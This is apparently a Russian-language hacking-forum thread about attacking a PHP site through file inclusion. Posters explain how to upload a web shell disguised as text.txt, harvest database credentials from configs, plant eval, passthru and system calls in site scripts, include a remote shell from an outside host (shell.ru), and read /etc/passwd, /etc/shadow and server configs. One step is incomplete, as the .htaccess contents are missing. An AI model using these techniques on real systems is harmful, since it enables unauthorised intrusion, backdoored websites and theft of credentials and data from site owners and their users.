Создаёшь файл '.htaccess'

внутри него:

далее грузишь шелл с именем text.txt
Ищи в шеле конфиги к базе данных внутри скриптов (логин;пароль;имя_базы) .. коннекться и создавай что за хочешь..

Редактируй скрипты.. вставляй в них инклуды .. eval-ы passthru , system .. etc

в смысле как запускать? обратися по адресу де ты его загрузил и усе!

у меня такой вопрос,

что полезного можно запустить или прочитать с помощью php-инклуда кроме /etc/passwd ?

есть /etc/shadow но прав на чтение нету

1) Можешь найти ошибку и там будет путь: /home/host/site.ru/www/func/inc.php т.е. ты берешь путь home/host/site.ru/www/index.php и пробуешь прочитать файл. Если получится, то есть шанс найти конфиги коннекта к БД и подключиться!
2) Попробуй так: page.php?filename=http://shell.ru/shell.txt? - Почему .txt? Потому что веб сервер его интерпритирует как .php

удаленно подключить шелл вроде не выйдет потому что в инклуде у них сначала идет определенный путь а потом уже подставляется параметр

include(<путь>/<парам>_blabla.php)

Можно прочитать конфиг коннекта к бд (если она имеется). После чего залогинится с ними для администрирования БД.

нашел my.cnf

там указан путь к mysqld.log
когда попытался его прочитать получил permission denied

то же самое и с сpanel.config

там указаны пути к .log файлам но прочесть ни один не смог из-за отсутствия прав

Я говорил об php конфиге.
Он можен находится не как отдельный файл, а быть вписаным скажем в index.php и т.д.

а, сорри.

когда подключаю индекс то он выполняется т.е. вижу готовую страницу а содержимое index.php прочитать опять же не могу